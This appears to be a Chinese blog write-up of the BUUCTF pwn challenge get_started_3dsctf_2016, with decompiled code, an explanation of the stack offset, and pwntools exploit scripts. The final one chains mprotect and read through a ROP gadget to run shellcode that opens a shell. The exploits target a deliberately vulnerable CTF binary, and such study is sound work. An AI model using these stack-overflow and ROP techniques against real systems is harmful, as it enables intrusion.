get_started_3dsctf_2016

0x00 前言

这是BUUCTF上的一道只有1分的题目,本以为就是个简单的ROP,但是弄了半天打不通,最后借助大佬们的WP完成了这道题目,写此博客记录几个易错点。

0x01 分析

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

程序没开PIE和Canary。

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+4h] [ebp-38h]

printf("Qual a palavrinha magica? ", v4);
gets(&v4);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void __cdecl get_flag(int a1, int a2)
{
int v2; // eax
int v3; // esi
unsigned __int8 v4; // al
int v5; // ecx
unsigned __int8 v6; // al

if ( a1 == 814536271 && a2 == 425138641 )
{
v2 = fopen("flag.txt", "rt");
v3 = v2;
v4 = getc(v2);
if ( v4 != 255 )
{
v5 = (char)v4;
do
{
putchar(v5);
v6 = getc(v3);
v5 = (char)v6;
}
while ( v6 != 255 );
}
fclose(v3);
}
}

可以看到在main函数存在明显的栈溢出,并且存在get_flag函数,但是该函数有一个if语句,不过我们可以绕过这个if验证。

难点1

main函数中v4距离返回地址多少个字节?

在IDA中,可以看到对v4的描述如下

1
char v4; // [esp+4h] [ebp-38h]

按照以往经验,可能会直接认为v4距离ebp有0x38个字节,所以距离返回地址有0x38+4个字节,但实际上并不是这样,来看main函数的汇编。

这个程序不同于别的程序,在main函数的开始并没有push ebp; mov ebp,esp这种操作。

这个程序的main栈帧(叫法可能不太准确?但是大体意思应该表达清楚了)并没有ebp,寻址方式是esp寻址。

所以v4距离返回地址有0x38个字节,这一点确实困扰我好大一会

0x02 Let’s do it!

test.py

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
#c = process('./get')
c = remote('node3.buuoj.cn',28831)

c.recvuntil('Qual a palavrinha magica? ',timeout = 0.5)
get_flag = 0x80489B8
payload = 'a'*0x38 + p32(get_flag)

c.sendline(payload)

c.interactive()

栈溢出覆盖eip

本地可以打通,但是远程不可以,这里的get_flag是取的绕过if检测以后的那部分。

test2.py

这个方法运用了mprotect函数,这个函数也是这道题目的第二个重点。

我是第一次接触这个函数,通过大佬们的博客也了解到了这个函数的功能以及用法。

1
2
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);

addr 我们要进行修改权限的地址

len 是我们要修改的地址的长度

prot 是我们想给从addr到addr + len 这段地址赋予的权限,就是rwx这三个权限,我们可以赋予这段地址rw(可读可写权限但不可执行),也可以赋予r(仅可读),也可以赋予rwx(可读可写可执行)。

rwx 对应的是 7

所以我们这个方法的目的就是借助这个函数,将一段地址的权限修改为可读可写可执行,然后在这段地址上写入shellcode,然后想办法控制eip到这段地址,从而执行shellcode。

这段地址我们选择的是 bss = 0x80ea000

这里执行2次rop,但是依然是本地可以打通,远程打不通。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
c = process('./get')
elf = ELF('./get')
#c = remote('node3.buuoj.cn',29982)

shellcode = asm(shellcraft.sh(),arch = 'i386', os = 'linux')


bss = 0x80ea000
mprotect = elf.symbols['mprotect']
read = elf.symbols['read']


c.recvuntil('Qual a palavrinha magica? ',timeout = 0.5)

payload = 'a'*0x38
payload += p32(mprotect) + p32(main) + p32(bss) + p32(0x2000) + p32(7)

c.sendline(payload)

payload = 'a'*0x38
payload += p32(read) + p32(bss) + p32(0) + p32(bss) + p32(0x100)
c.sendline(payload)
c.sendline(shellcode)

c.interactive()

exp.py

既然两次rop打不通,那就试试一次吧。

如何把2次rop变成一次rop?

我们可以借助 pop..ret 来实现。

注意到mprotect和read函数都是有3个参数,所以我们需要3次pop,一次ret的gadget。

通过命令ROPgadget --binary get --only 'pop|ret' |grep pop可以看到一大堆gadgets

随便选一个含有3个pop和1个ret的就行。

这里我们选择0x0806fc08 : pop esi ; pop ebx ; pop edx ; ret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
#c = process('./get')
c = remote('node3.buuoj.cn',29982)
elf = ELF('./get')

shellcode = asm(shellcraft.sh(),arch = 'i386', os = 'linux')

bss = 0x80ea000
ppp_ret = 0x0806fc08 #0x0806fc08 : pop esi ; pop ebx ; pop edx ; ret

mprotect = elf.symbols['mprotect']
read = elf.symbols['read']

payload = 'a'*0x38
payload += p32(mprotect) + p32(ppp_ret) + p32(bss) + p32(0x2000) + p32(7)
payload += p32(read) + p32(ppp_ret) + p32(0) + p32(bss) + p32(0x100)
payload += p32(bss)

sleep(0.5)
c.sendline(payload)

sleep(0.5)
c.sendline(shellcode)

c.interactive()

家里网速最近不太好,没加sleep的时候一直打不通。。。还以为exp出问题了,调了半天才发现是网速问题。。。

最后还是要感谢各位师傅们的博客